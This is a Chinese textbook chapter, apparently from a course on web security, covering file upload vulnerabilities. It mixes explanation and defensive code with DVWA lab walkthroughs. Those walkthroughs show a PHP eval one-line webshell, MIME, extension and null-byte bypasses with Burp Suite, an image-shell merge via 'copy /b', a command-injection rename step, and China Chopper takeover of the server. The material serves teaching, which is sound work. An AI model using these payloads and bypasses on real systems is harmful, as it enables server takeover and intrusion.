




版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領
文檔簡介
項目四文件上傳攻擊與防御4.1項目描述 4.2項目分析 4.3項目小結 4.4項目訓練 4.5實訓任務 項目4文件上傳攻擊與防御
在現今的Web功能中,隨著服務器容量的增大,實現了越來越多的文檔存貯功能。甚至是在一般的信息處理過程中都會有文件上傳的功能。例如,在用戶注冊過程中,會讓用戶上傳照片,或是其他相似類型的文件。在這些功能中,由于系統信息處理功能的不完善,會導致對惡意文件的上傳,甚至是獲取Webshell的功能,控制整個Web服務器。因此我們有必要了解文件上傳漏洞的攻擊原理、攻擊場景,才能做好該類型漏洞的防御,這樣才能有效的防止文件上傳漏洞的存在。4.1項目描述在項目描述中,攻擊者向服務器上傳惡意文件,以達到在服務器中執行惡意文件的目的,進而達到惡意攻擊服務器甚至控制服務器的目的。針對上述情況,本項目的任務布置如下所?示。4.2項目分析1、文件上傳漏洞(1)文件上傳漏洞簡介如果程序里面有這種漏洞那么惡意攻擊者可以直接向程序所在服務器上傳一個webshell(又稱ASP木馬、PHP木馬等,即利用服務器端的文件操作語句寫成的動態網頁,可以用來編輯服務器上的文件),從而控制整個網站或者是服務器。一般對于上傳漏洞的概念定義如下:由于程序員在對用戶文件上傳部分的控制不足或者處理缺陷,而導致的用戶可以越過其本身權限向服務器上傳可執行的動態腳本文件。例如,如果使用windows服務器并且以asp作為服務器端的動態網站環境,那么在網站的上傳功能處,就一定不能讓用戶上傳asp類型的文件,否則他上傳一個webshell,服務器上的文件就可以被他任意更改了。相對于跨站漏洞,上傳漏洞對于網站的危害是致命的,那么上傳漏洞是如何產生的呢。在WEB中進行文件上傳的原理是通過將表單設為multipart/form-data,同時加入文件域,而后通過HTTP協議將文件內容發送到服務器,服務器端讀取這個分段(multipart)的數據信息,并將其中的文件內容提取出來并保存。通常,在進行文件保存的時候,服務器端會讀取文件的原始文件名,并從這個原始文件名中得出文件的擴展名,而后隨機為文件起一個文件名(為了防止重復),并且加上原始文件的擴展名來保存到服務器上。在擴展名這里會出問題,究竟是什么問題呢,需要分析上傳漏洞的幾種形式和各自的防護方法。項目相關知識點(2)文件上傳漏洞的幾種形式及其防御方?法。1.完全沒有處理完全沒有處理的情況不需要解釋,看名字都能夠理解,這種情況是程序員在編寫上傳處理程序時,沒有對客戶端上傳的文件進行任何的檢測,直接按照其原始擴展名將其保存在服務器上,這是一種完全沒有安全意識的做法,也是這種漏洞的最低級形式,一般來說這種漏洞很少出現了,程序員或多或少的都會進行一些安全方面的檢查。2.將asp等字符替換再看一些程序員進階的做法,程序員知道asp這樣的文件擴展名是危險的,因此使用函數,對獲得的文件擴展名進行過濾,如:FunctioncheckExtName(strExtName)strExtName=lCase(strExtName)'轉換為小寫strExtName=Replace(strExtName,"asp","")'替換asp為空strExtName=Replace(strExtName,"asa","")'替換asa為空checkExtName=strExtNameEndFunction使用這種方式,程序員本意是將用戶提交的文件的擴展名中的“危險字符”替換為空,從而達到安全保存文件的目的。按照這種方式,用戶提交的asp文件因為其擴展名asp被替換為空,因而無法保存,但是仔細想想,這種方法并不是完全安全的。突破的方法很簡單,只要將原來的webshell的asp擴展名改為aaspsp就可以了,此擴展名經過checkExtName函數處理后,將變為asp,即a和sp中間的asp三個字符被替換掉了,但是最終的擴展名仍然是asp。因此這種方法也是不安全的。3)利用黑名單過濾由前面知,替換存在漏洞。可以采用直接比對擴展名是否為asp或者asa,可采用下面的程序:FunctioncheckExtName(strExtName)strExtName=lCase(strExtName)'轉換為小寫IfstrExtName="asp"ThencheckExtName=FalseExitFunctionElseIfstrExtName="asa"ThencheckExtName=FalseExitFunctionEndIfcheckExtName=TrueEndFunction使用這個程序來保證asp或者asa文件在檢測時是非法的,這也稱為黑名單過濾法。黑名單過濾法是一種被動防御方法,只可以將已知危險的擴展名加以過濾,而實施上,可能未知有某些類型的文件是危險的,由上面這段程序來知,將asp或者asa類型的文件可以在服務器端被當作動態腳本執行。事實上,在windows2000版本的IIS中,默認也對cer文件開啟了動態腳本執行的處理,而如果此時不知道,那么將會出現漏洞。實際中,不只是被當作動態網頁執行的文件類型有危險,被當作SSI處理的文件類型也有危險,例如html、htm等,這種類型的文件可以通過在其代碼中加入<!--#includefile="conn.asp"-->語句的方式,將數據庫鏈接文件引入到當前的文件中,而此時通過瀏覽器訪問這樣的文件并查看源代碼,conn.asp文件源代碼就泄露了,入侵者可以通過這個文件的內容找到數據庫存放路徑或者數據庫服務器的鏈接密碼等信息,這也是非常危險的。如果要把上面所提到的文件都加入黑名單,就安全了嗎?也不一定。現在很多服務器都開啟了對asp和php的雙支持。是不是可以上傳php版的webshell呢,所以說,黑名單這種被動防御是不太好的,因此建議使用白名單的方法,改進上面的函數。例如要上傳圖片,只需要檢測擴展名是否是bmp、jpg、jpeg、gif、png之一,如果不在這個白名單內,都算作非法的擴展名,這樣會安全很多。4)表單中傳遞文件保存目錄上面的這些操作可以保證文件擴展名這里是絕對安全的,但是有很多程序,例如早期的動網論壇,將文件的保存路徑以隱藏域的方式放在上傳文件的表單當中(例如用戶頭像上傳到UserFace文件夾中,就有一個名為filepath的隱藏域,值為userface),并且在上傳時通過鏈接字符串的形式生成文件的保存路徑,這種方法也引發了漏洞。FormPath=Upload.form("filepath")ForEachformNameinUpload.file''列出所有上傳了的文件SetFile=Upload.file(formName)''生成一個文件對象Iffile.filesize<10ThenResponse.Write"請先選擇你要上傳的圖片[<ahref=#onclick=history.go(-1)>重新上傳</a>]"Response.Write"</body></html>"Response.EndEndIfFileExt=LCase(file.FileExt)IfCheckFileExt(FileExt)=falsethenResponse.Write"文件格式不正確[<ahref=#onclick=history.go(-1)>重新上傳</a>]"Response.Write"</body></html>"Response.EndEndIfRandomizeranNum=Int(90000*rnd)+10000FileName=FormPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&FileExt可以看出這段代碼中,首先獲得表單中filepath的值,在最后將其拼接到文件的保存路徑FileName中。在這里就會出現一個問題。問題的成因是一個特殊的字符:chr(0),為二進制為0的字符實際上是字符串的終結標記,如果構造一個filepath,讓其值為filename.asp■(這里是空字符,即終結標記),這時FileName的值就變成了filename.asp,再進入下面的保存部分,所上傳的文件就以filename.asp文件名保存了,而無論其本身的擴展名是什么。黑客通常通過修改數據包的方式來修改filepath,將其加入這個空字符,從而繞過了前面所有的限制來上傳可被執行的文件。如何防護這個漏洞呢,很簡單,盡量不在客戶端指定文件的保存路徑,如果一定要指定,那么需要對這個變量進行過濾,如:FormPath=Replace(FormPath,chr(0),"")5)保存路徑處理不當經過以上的層層改進,從表面上來說,上傳程序已經很安全了。從2004年的動網上傳漏洞被指出后,其他程序紛紛改進上傳模塊,因此上傳漏洞也消失了一段時間,但近年來,另一種上傳漏洞被黑客發掘了出來,即結合IIS6的文件名處理缺陷而導致的一個上傳漏洞。這個漏洞最早被發現與*易CMS系統。在該系統中,用戶上傳的文件將被保存到其以用戶名為名的文件夾中,上傳部分做好了充分的過濾,只可以上傳圖片類型的文件。IIS6在處理文件夾名稱的時候有一個小問題,就是,如果文件夾名中包含.asp,那么該文件夾下的所有文件都會被當作動態網頁,經過ASP.dll的解析,那么此時,在*易系統中,首先注冊一個名為test.asp的用戶名,而后上傳一個webshell,在上傳時將webshell的擴展名改為圖片文件的擴展名,如jpg,而后文件上傳后將會保存為test.asp/20070101.jpg這樣的文件,此時使用firefox瀏覽器訪問該文件(IE會將被解析的網頁文件當作突破處理,因為其擴展名為圖片),此時會發現我們上傳的“圖片”又變成了webshell。2、PHP文件上傳參數方法。(1)創建一個文件上傳表單,允許用戶從表單上傳文件是非常有用的。如下所示供上傳文件的HTML表單:<html><body><formaction="upload_file.php"method="post"enctype="multipart/form-data"><labelfor="file">Filename:</label><inputtype="file"name="file"id="file"/><br/><inputtype="submit"name="submit"value="Submit"/></form></body></html><form>標簽的enctype屬性規定了在提交表單時要使用哪種內容類型。在表單需要二進制數據時,例如文件內容,使用"multipart/form-data"。<input>標簽的type="file"屬性規定了應該把輸入作為文件來處理。例如,在瀏覽器中預覽時,會看到輸入框旁邊有一個瀏覽按鈕。注釋:允許用戶上傳文件是一個巨大的安全風險,因此僅允許可信的用戶執行文件上傳操作。(2)創建上傳腳本,"upload_file.php"文件含有供上傳文件的代碼,如下所示:<?phpif($_FILES["file"]["error"]>0){echo"Error:".$_FILES["file"]["error"]."<br/>";}else{echo"Upload:".$_FILES["file"]["name"]."<br/>";echo"Type:".$_FILES["file"]["type"]."<br/>";echo"Size:".($_FILES["file"]["size"]/1024)."Kb<br/>";echo"Storedin:".$_FILES["file"]["tmp_name"];}?>通過使用PHP的全局數組$_FILES,可以從客戶計算機向遠程服務器上傳文件。第一個參數是表單的inputname,第二個下標可以是"name","type","size","tmp_name"或"error",如下所示:$_FILES["file"]["name"]-被上傳文件的名稱,保存的文件在上傳者機器上。$_FILES["file"]["type"]-被上傳文件的類型,此處類型不是文件擴展名。在數據傳輸的消息頭中Content-Type為文件類型,可以通過抓取數據包獲取消息頭中的信息。獲取文件擴展名,可以通過“$uploaded_ext
=
substr(
$uploaded_name,
strrpos(
$uploaded_name,
'.'
)
+
1)”方法獲取。$_FILES["file"]["size"]-被上傳文件的大小,以字節計$_FILES["file"]["tmp_name"]-存儲在服務器的文件的臨時副本的名稱,保存的是文件上傳到服務器臨時文件夾之后的文件名。$_FILES["file"]["error"]-由文件上傳導致的錯誤代碼一般從$_FILES[字段名][name]獲取文件名、擴展名等信息,和程序規定的文件夾一起組裝成為目標文件名,然后把臨時文件$_FILES[字段名][tmp_name]移動過去。這是一種非常簡單文件上傳方式,基于安全方面的考慮,需要增加有關用戶權限限制。(3)上傳限制,在下面這個腳本中,增加了對文件上傳的限制。用戶只能上傳.gif或.jpeg文件,文件大小必須小于20kb:<?phpif((($_FILES["file"]["type"]=="image/gif")||($_FILES["file"]["type"]=="image/jpeg")||($_FILES["file"]["type"]=="image/pjpeg"))&&($_FILES["file"]["size"]<20000)){if($_FILES["file"]["error"]>0){echo"Error:".$_FILES["file"]["error"]."<br/>";}else{echo"Upload:".$_FILES["file"]["name"]."<br/>";echo"Type:".$_FILES["file"]["type"]."<br/>";echo"Size:".($_FILES["file"]["size"]/1024)."Kb<br/>";echo"Storedin:".$_FILES["file"]["tmp_name"];}}else{echo"Invalidfile";}?>注釋:對于IE,識別jpg文件的類型為pjpeg,對于FireFox為jpeg。(4)上面的例子在服務器的PHP臨時文件夾創建了一個被上傳文件的臨時副本。這個臨時的復制文件會在腳本結束時消失。要保存被上傳的文件,需要把它拷貝到另外的位置:<?phpif((($_FILES["file"]["type"]=="image/gif")||($_FILES["file"]["type"]=="image/jpeg")||($_FILES["file"]["type"]=="image/pjpeg"))&&($_FILES["file"]["size"]<20000)){if($_FILES["file"]["error"]>0){echo"ReturnCode:".$_FILES["file"]["error"]."<br/>";}else{echo"Upload:".$_FILES["file"]["name"]."<br/>";echo"Type:".$_FILES["file"]["type"]."<br/>";echo"Size:".($_FILES["file"]["size"]/1024)."Kb<br/>";echo"Tempfile:".$_FILES["file"]["tmp_name"]."<br/>";if(file_exists("upload/".$_FILES["file"]["name"])){echo$_FILES["file"]["name"]."alreadyexists.";}else{move_uploaded_file($_FILES["file"]["tmp_name"],"upload/".$_FILES["file"]["name"]);echo"Storedin:"."upload/".$_FILES["file"]["name"];}}}else{echo"Invalidfile";}?>上面的腳本檢測了是否已存在此文件,如果不存在,則把文件拷貝到指定的文件夾。BurpSuite是用于攻擊web應用程序的集成平臺。它包含了許多工具,并為這些工具設計了許多接口,以促進加快攻擊應用程序的過程。所有的工具都共享一個能處理并顯示HTTP消息,持久性,認證,代理,日志,警報的一個強大的可擴展的框架。Proxy——是一個攔截HTTP/S的代理服務器,作為一個在瀏覽器和目標應用程序之間的中間人,允許你攔截,查看,修改在兩個方向上的原始數據流。Spider——是一個應用智能感應的網絡爬蟲,它能完整的枚舉應用程序的內容和功能。Scanner[僅限專業版]——是一個高級的工具,執行后,它能自動地發現web應用程序的安全漏洞。Intruder——是一個定制的高度可配置的工具,對web應用程序進行自動化攻擊,如:枚舉標識符,收集有用的數據,以及使用fuzzing技術探測常規漏洞。3、BurpsuitRepeater——是一個靠手動操作來補發單獨的HTTP請求,并分析應用程序響應的工具。Sequencer——是一個用來分析那些不可預知的應用程序會話令牌和重要數據項的隨機性的工具。Decoder——是一個進行手動執行或對應用程序數據者智能解碼編碼的工具。Comparer——是一個實用的工具,通常是通過一些相關的請求和響應得到兩項數據的一個可視化的“差異”。4、中國菜刀介紹中國菜刀,不是用來切菜做飯的道具,而是一款專業的網站管理軟件,用途廣泛,使用方便,小巧實用。只要支持動態腳本的網站,都可以用中國菜刀來進行管理!程序大小:214K,在非簡體中文環境下使用,自動切換到英文界面。UINCODE方式編譯,支持多國語言輸入顯示。通過前一節的項目分析我們可以看到文件上傳的原理和防御方法。由于代碼層過濾不嚴格、系統漏洞、調用第三方組件等原因導致了不同類型攻擊的存在。這種漏洞存在的為攻擊者進一步內網滲透、控制整個網站甚至控制服務器、繼承web服務程序的權限去執行系統命令或讀寫文件等攻擊操作提供了極大的可能性。而文件上傳漏洞是利用了程序本身缺陷,繞過系統對文件的驗證與處理策略從而將惡意程序上傳到服務器并獲得執行服務器端命令的能力。文件上傳漏洞的常見利用方式有:上傳Web腳本程序、Flash跨域策略文件、病毒、木馬、包含腳本的圖片、修改訪問權限等。一般來講,利用的上傳文件要么具備可執行能力如惡意程序,要么具備影響服務器行為的能力如配置文件。文件上傳這種攻擊方式直接、有效,在對付某些脆弱的系統時甚至沒有門檻。是Web應用程序中常見漏洞之一,因此要引起大家的足夠重視。4.3項目小結項目完成后,需要提交項目總結內容清單如下表所示:表4-2項目提交清單內容4.4.1實驗環境本章節中的所有實驗環境都是安裝在winxp虛擬機中,在虛擬機中使用的實驗環境為DVWA實驗環境,使用python-2.7、DVWA-1.9、xampp-win32-1.8.0-VC9-installer三個軟件按搭建。在文件上傳中使用到了中國菜刀、Burpsuit工具。Burpsuit運行環境需要安裝jre,工具為:burpsuite_pro_v1.7.03、jre-8u111-windows-i586_8.0.1110.14、Firefox_152_setup。所有環境安裝在一臺winxp虛擬機中,作為攻擊機。4.4項目訓練在任務1中主要里利用DVWA實驗平臺分析文件上傳漏洞攻擊原理。1、打開靶機虛擬機,虛擬機網絡設置為Nat,查看虛擬機的環境設置,打開xampp服務器管理如圖下圖所示:4.4.2任務1利用簡單的文件上傳分析漏洞原理如上圖所示打開Apache與MySQL服務,虛擬機ip為31,確保虛擬機與物理機之間網絡是連通,可以在物理機中使用ping命令,探測網絡連接情況。2、在攻擊機瀏覽器中輸入31/dvwa/login.php,用戶名為:admin,密碼為password登陸DVWA實驗平臺。如下圖所示:3、在DVWA中選擇DVWASecurity,在安全級別中選擇low,單擊按鈕submit。如圖3-3所示。4、在左側分類欄中,選擇fileupload選項,在文件上傳實驗環境中,選擇一個圖片文件上傳,文件上傳結果如下圖所示5、由上圖可以看出,圖片上傳成功。上傳成功后在頁面中返回了“../../hackable/uploads/pic.jpg”,即為文件的相對路徑。“../”為當前目錄的上級目錄或者是父目錄。當前頁面的地址為“29/dvwa/vulnerabilities/upload/#”,當前路徑的上級目錄的上級目錄為“29/dvwa/”,因此可以得到圖片的網址為“29/dvwa/hackable/uploads/pic.jpg”,將網址輸入瀏覽器地址欄中可以訪問到上傳的圖片,如下圖所示:5、該文件上傳成功后,返回文件在服務器中的相對路徑,因此可以利用該路徑與當前頁面URL,得到上傳文件具體訪問路徑。如果上傳一個木馬文件,可以很容易獲取到服務器控制權限,上傳一句話木馬,木馬文件名為lubr.php,文件內容為“<?php@eval($_POST['lubr']);?>”,上傳結果如下圖所示:6、由上圖得到,木馬文件上傳成功。得出結論,存在文件上傳漏洞。后續可以使用中國菜刀工具,連接木馬文件獲取系統控制權,該操作在下一個任務中給出具體操作步驟。由本任務中存在的文件上傳漏洞,推測到在該實驗環境中對于上傳文件沒有做任何處理。查看該功能源代碼,分析原理,源碼如下所示:<?phpif(isset($_POST['Upload'])){//上傳文件所存放的路徑在hackable/uploads/$target_path=DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";$target_path.=basename($_FILES['uploaded']['name']);//判斷文件是否能夠存放到指定路徑if(!move_uploaded_file($_FILES['uploaded']['tmp_name'],$target_path)){//如果不能返回下面信息echo'<pre>Yourimagewasnotuploaded.</pre>';}else{//如果可以返回文件存放路徑echo"<pre>{$target_path}succesfullyuploaded!</pre>";}}?>7、由上面源代碼分析可以得出,沒有對數據做任何處理,上傳成功后返回了文件存放路徑,該功能給出了詳細路徑信息提示,為構造上傳文件的URL提供了分析依據,具有很大破壞性。8、將安全級別設置為Medium,上傳木馬文件lubr.php,上傳結果如下圖所示:9、由上圖知,木馬文件lubr.php上傳失敗,由返回信息可以看到文件只能上傳jpg與png文件,分析Medium源碼如下:<?phpif(isset($_POST['Upload'])){//上傳文件所存放的路徑在hackable/uploads/$target_path=DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";$target_path.=basename($_FILES['uploaded']['name']);//獲取文件信息,文件名、類型、大小$uploaded_name=$_FILES['uploaded']['name'];$uploaded_type=$_FILES['uploaded']['type'];$uploaded_size=$_FILES['uploaded']['size'];//判斷文件類型,文件類型只能是image/jpeg、image/pngif(($uploaded_type=="image/jpeg"||$uploaded_type=="image/png")&&($uploaded_size<100000)){//判斷文件是否能夠上傳if(!move_uploaded_file($_FILES['uploaded']['tmp_name'],$target_path)){//Noecho'<pre>Yourimagewasnotuploaded.</pre>';}else{//返回路徑echo"<pre>{$target_path}succesfullyuploaded!</pre>";}}else{//Invalidfileecho'<pre>Yourimagewasnotuploaded.WecanonlyacceptJPEGorPNGimages.</pre>';}}?>10、這里分別通過“$_FILES['uploaded']['type']”和“$_FILES['uploaded']['size']”獲取了上傳文件的MIME類型和文件大小。MIME類型用來設定某種擴展名文件的打開方式,當具有該擴展名的文件被訪問時,瀏覽器會自動使用指定的應用程序來打開,如jpg圖片的MIME為image/jpeg。因而medium與low的主要區別就是對文件的MIME類型和文件大小進行了判斷,這樣就只允許上傳jpg格式的圖片文件。但是這種限制通過Burpsuite可以輕松繞過。11、在使用Burpsuite繞過的實驗中,使用火狐瀏覽器,先設置瀏覽器代理如下圖所示,選擇工具-選項-高級-網絡-設置-手動配置代理,設置代理為:8081。12、Burpsuite代理設置,選擇Proxy-option,選擇edit,設置為:8081如圖:13、Burpsuite選擇intercept選項,選擇intercepton如下圖所示:圖4-11Burpsuite設置14、選擇上傳文件為lubr.php文件,點擊上傳,Burpsuite獲取數據如下圖所示:圖4-12Burpsuite獲取數據15、將上圖中Content-Type:application/octet-stream中的application/octet-stream改為image/jpeg如下圖圖4-13修改類型16、在上圖中點擊forward顯示結果如下圖所示:圖4-14木馬上傳成功在任務2中使用DVWA實驗平臺,在中等安全級別實驗環境下,在實驗中完成文件上傳繞過,并獲取服務器控制權限。1、打開實驗環境,在瀏覽器中輸入靶機的平臺方位網址,例如:“http://31/dvwa/login.php”,在登陸頁面輸入用戶名:admin,密碼:password,在安全級別中設置為mid,上傳木馬文件如下圖所示:4.4.3任務2利用文件上傳漏上傳木馬獲取控制權圖4-15木馬上傳2、在上圖中可以看到木馬文件不能上傳,通過返回信息分析,系統對文件類型做了設置,通過源碼分析知道,推測系統做了白名單過濾,只能指定類型可以通過上傳,因此可以將木馬文件與一張圖片文件進行合成,合成為圖片文件。然后完成繞過過濾,進行上傳。合成命令為“copypic.jpg/b+lubr.php/apicLubr.jpg”,文件合成如下圖所示:圖4-16文件合成3、使用火狐瀏覽器,先設置瀏覽器代理如下圖所示,選擇工具-選項-高級-網絡-設置-手動配置代理,設置代理為:8081。圖4-17火狐代理設置4、Burpsuite代理設置,選擇Proxy-option,選擇edit,設置為:8081如圖:圖4-18Burpsuite代理設置5、Burpsuite選擇intercept選項,選擇intercepton如下圖所示:圖4-19Burpsuit設置6、在上傳文件頁面中選擇合成的文件picLubr.jpg然后上傳,Burpsuite中獲取數據如下圖所示:圖4-20Burpsuite獲取數據7、在上圖中倒數第二行中,將filename中的picLubr.jpg改為picLubr.php,改為服務器能夠解析的文件類型。如圖所示:圖4-21更改文件名8、在Burpsuit中點擊forward,進行放行后,上傳結果如下圖所示:圖4-22上傳成功9、根據文件返回的路徑在瀏覽器中查看文件,插入的木馬源代碼,在文件最后一行。如圖所示:圖4-23文件路徑10、打開中國菜刀,單擊右鍵選擇添加,如下圖所示,文件路徑添加到shell中,密碼為lubr,其他如圖所示,單擊添加。圖4-24中國菜刀添加信息11、添加完成信息后,雙擊該信息,可以獲取系統完整目錄如下圖所示圖4-25獲取系統目錄12、在該安全級別下,使用Burpsuit軟件,輕松繞過了數據過濾。為了繞過過濾,完成文件上傳,還可以使用以下方法:(1)上傳擴展名為php的木馬文件,使用Burpsuit軟件,截取數據,將“Content-Type:application/octet-stream”改為“Content-Type:image/jpeg”,能夠順利完成上傳。(2)將php木馬文件擴展名“.php”改為“.jpg”,然后上傳該文件,使用Burpsuit截取數據,將“filename="lubr.jpg"”,改為“filename="lubr.php"”,能夠順利完成上傳。(3)將木馬文件進行修改,例如“lubr.php”修改為“lubr.php.jpg”,將該文件進行上傳,使用Burpsuit抓取數據包,采用“00”截斷的方式,修改數據上傳。需要在數據包中找到“jpg”前面“.”字符所對應的十六進制數據,將該十六進制數據的值改為“00”,然后放行上傳。數據修改如下圖所示。在下圖中選擇“hex”,查看數據十六進制源文件,找到2處所標注的文件名“lubr.php.jpg”,從2處可以看到“.”為該行倒數第三個字符,對應十六進制數據中的3處所標注的倒數第三個字節數據“2e”。如4處所示,改為“00”,如5處所示“.”字符數據消失。圖4-2600截斷4.4.4任務3高等安全級別下文件上傳漏洞攻擊方法
1、在該安全級別下,在任務2中,文件上傳的繞過方法不再適用,不能繞過過濾方法。在該實驗環境中,模擬現實中的文件上傳攻擊方法,不再查看源代碼,進行源碼分析。通過測試,分析推測漏洞是否存在,以及繞過方法。2、按照前面任務的設置方法,將實驗環境安全等級設置為high,打開文件上傳實驗環境,先后上傳“jpg、php”文件,通過返回值,分析漏洞所在位置。通過測試發現,jpg文件可以上傳;php文件是不能上傳,且在錯誤信息提示中,提示只能上傳jpg、png文件。3、進一步測試系統是采用白名單還是黑名單進行設置過濾方法,嘗試上傳“txt、jsp、asp、asa”等文件類型,經過測試,發現都不能上傳成功,可以推測系統采用白名單的過濾方法,只允許上傳“jpg、png”類型的文件。4、將木馬文件“lubr.php”改為“lubr.jpg”,看是否能夠上傳。通過測試,發現也不能上傳,可以猜測對上傳文件的類型Content-Type也做了過濾。5、為了繞過過濾需要利用任務2中的方法,將木馬文件與圖片文件合成在一起,即“copypic.jpg/b+lubr.phppiclubr.jpg”,將合成后的文件piclubr.jpg文件上傳,發現可以上傳成功。6、文件雖然可以上傳成功,但是文件類型為Content-Type:image/jpeg,無法通過服務器解析執行。文件不能執行則不能實現木馬功能,無法進行后續操作,為了文件能被解析執行,有兩種方法:(1)將文件原擴展名更改為“.php”;(2)將文件類型改為“Content-Type:application/octet-stream”,改為可執行文件類型。7、使用Burpsuit截取數據,修改文件擴展名為php,返回值顯示上傳不成功。采用上面步驟中的第二種方法進行測試,結果如下所示:圖4-27上傳結果8、由上圖知,雖然在前端對文件類型做了限制,但是發現在服務器端并沒有再次對文件類型做判斷,因此,將文件上傳的漏洞留在這里。將jpg文件類型更改為“Content-Type:application/octet-stream”,使jpg文件變為按照可執行文件的方式進行解析。9、從上圖中返回值,可以看到文件上傳后所存的相對目錄,結合URL可以得到文件所在的URL為“31/dvwa/hackable/uploads/piclubr.jpg”。10、將中國菜刀工具打開,設置相應參數。在此需要注意的是連接的URL為第9步驟所得到的URL,文件擴展名為jpg而不是php,如下所示:圖4-28參數設置11、添加設置參數后,雙擊添加的連接,即可以獲取到系統控制權。圖4-29獲取控制權限12、為了使上傳的文件改變為可執行文件,可以結合前面章節中的命令注入漏洞,將上傳的文件通過命令改為擴展名php。在上面第8步驟后,打開命令注入測試環境,在該安全級別下,多條指令可以通過管道符號連接。首先需要獲取文件的路徑,使用“31|dir”,獲取當前路徑,如下所示:圖4-30獲取路徑當前路徑為“C:\xampp\htdocs\DVWA\vulnerabilities\exec”;當前網頁URL為“31/dvwa/vulnerabilities/exec/#”;文件上傳頁面URL為“31/dvwa/vulnerabilities/upload/”;上傳文件路徑如圖4-26所示,結合四個路徑可以得到上傳后文件所在服務器的絕對路徑為“C:\xampp\htdocs\DVWA\hackable\uploads\piclubr.jpg”,使用注入命令“31|copyC:\xampp\htdocs\DVWA\hackable\uploads\piclubr.jpgC:\xampp\htdocs\DVWA\hackable\uploads\piclubr.php”,將jpg文件改為php文件,然后再使用中國菜刀連接即可獲取服務器控制權限。4.4.4任務4文件上傳漏洞防御
1、在任務1中分析文件上傳漏洞時,分析了文件上傳攻擊原理。在DVWA實驗平臺中,mid安全級別中采用白名單的模式,只有匹配的文件類型才可以進行上傳。2、在該試驗環境中,high安全級別中增加了臨時文件類型匹配,在獲取上傳文件信息時,獲取文件被上傳后在服務端儲存的臨時文件名。源代碼增加如下語句$uploaded_tmp=$_FILES['uploaded']['tmp_name']然后使用函數getimagesize($uploaded_tmp)獲取圖像大小及相關信息,成功返回一個數組,失敗則返回FALSE并產生一條E_WARNING級的錯誤信息。源代碼如下:<?phpif(isset($_POST['Upload'])){//Wherearewegoingtobewritingto?$target_path=DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";$target_path.=basename($_FILES['uploaded']['name']);//Fileinformation$uploaded_name=$_FILES['uploaded']['name'];$uploaded_ext=substr($uploaded_name,strrpos($uploaded_name,'.')+1);$uploaded_size=$_FILES['uploaded']['size'];$uploaded_tmp=$_FILES['uploaded']['tmp_name'];//Isitanimage?if((strtolower($uploaded_ext)=="jpg"||strtolower($uploaded_ext)=="jpeg"||strtolower($uploaded_ext)=="png")&&($uploaded_size<100000)&&getimagesize($uploaded_tmp)){//Canwemovethefiletotheuploadfolder?if(!move_uploaded_file($uploaded_tmp,$target_path)){//Noecho'<pre>Yourimagewasnotuploaded.</pre>';}else{//Yes!echo"<pre>{$target_path}succesfullyuploaded!</pre>";}}else{//Invalidfileecho'<pre>Yourimagewasnotuploaded.WecanonlyacceptJPEGorPNGimages.</pre>';}}?>3、在本實驗中除了存在數據過濾的漏洞,還存在著將文件路徑返回到客戶端的漏洞,因此可以使用加密方式,將路徑信息加密,如下面源代碼所示:<?phpif(isset($_POST['Upload'])){//CheckAnti-CSRFtokencheckToken($_REQUEST['user_token'],$_SESSION['session_token'],'index.php');//Fileinformation$uploaded_name=$_FILES['uploaded']['name'];$uploaded_ext=substr($uploaded_name,strrpos($uploaded_name,'.')+1);$uploaded_size=$_FILES['uploaded']['size'];$uploaded_type=$_FILES['uploaded']['type'];$uploaded_tmp=$_FILES['uploaded']['tmp_name'];//Wherearewegoingtobewritingto?$target_path=DVWA_WEB_PAGE_TO_ROOT.'hackable/uploads/';//$target_file=basename($uploaded_name,'.'.$uploaded_ext).'-';$target_file=md5(u
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
- 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
- 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 2025年中國家用廚房用品行業市場全景分析及前景機遇研判報告
- 設備設施缺陷管理制度
- 設計勘查安全管理制度
- 2025年中國雞冠提取物行業市場全景分析及前景機遇研判報告
- 診室醫護日常管理制度
- 診所消毒衛生管理制度
- 診療質量監督管理制度
- 財務賬本憑證管理制度
- 財富公司風險管理制度
- 貨代公司工位管理制度
- 個人車位租賃合同電子版 個人車位租賃合同
- 普惠性托育機構申請托育中心情況說明基本簡介
- 外輪理貨業務基礎-理貨單證的制作
- 《水火箭制作》課件
- 廣西機動車輛牌證制作有限公司車牌標牌制作項目環評報告
- 鐵總物資〔2015〕250號:中國鐵路總公司物資采購異議處理辦法
- 網絡安全預防電信詐騙主題班會PPT
- 高級宏觀經濟學講義(南開大學-劉曉峰教授-羅默的教材)【完整版】
- 貴陽市瑞鵬寵物醫院有限公司貴開分公司項目環評報告
- 2023屆北京市西城區數學五下期末質量檢測試題含解析
- 唐山市樂亭縣樂亭鎮社區工作者考試真題2022
評論
0/150
提交評論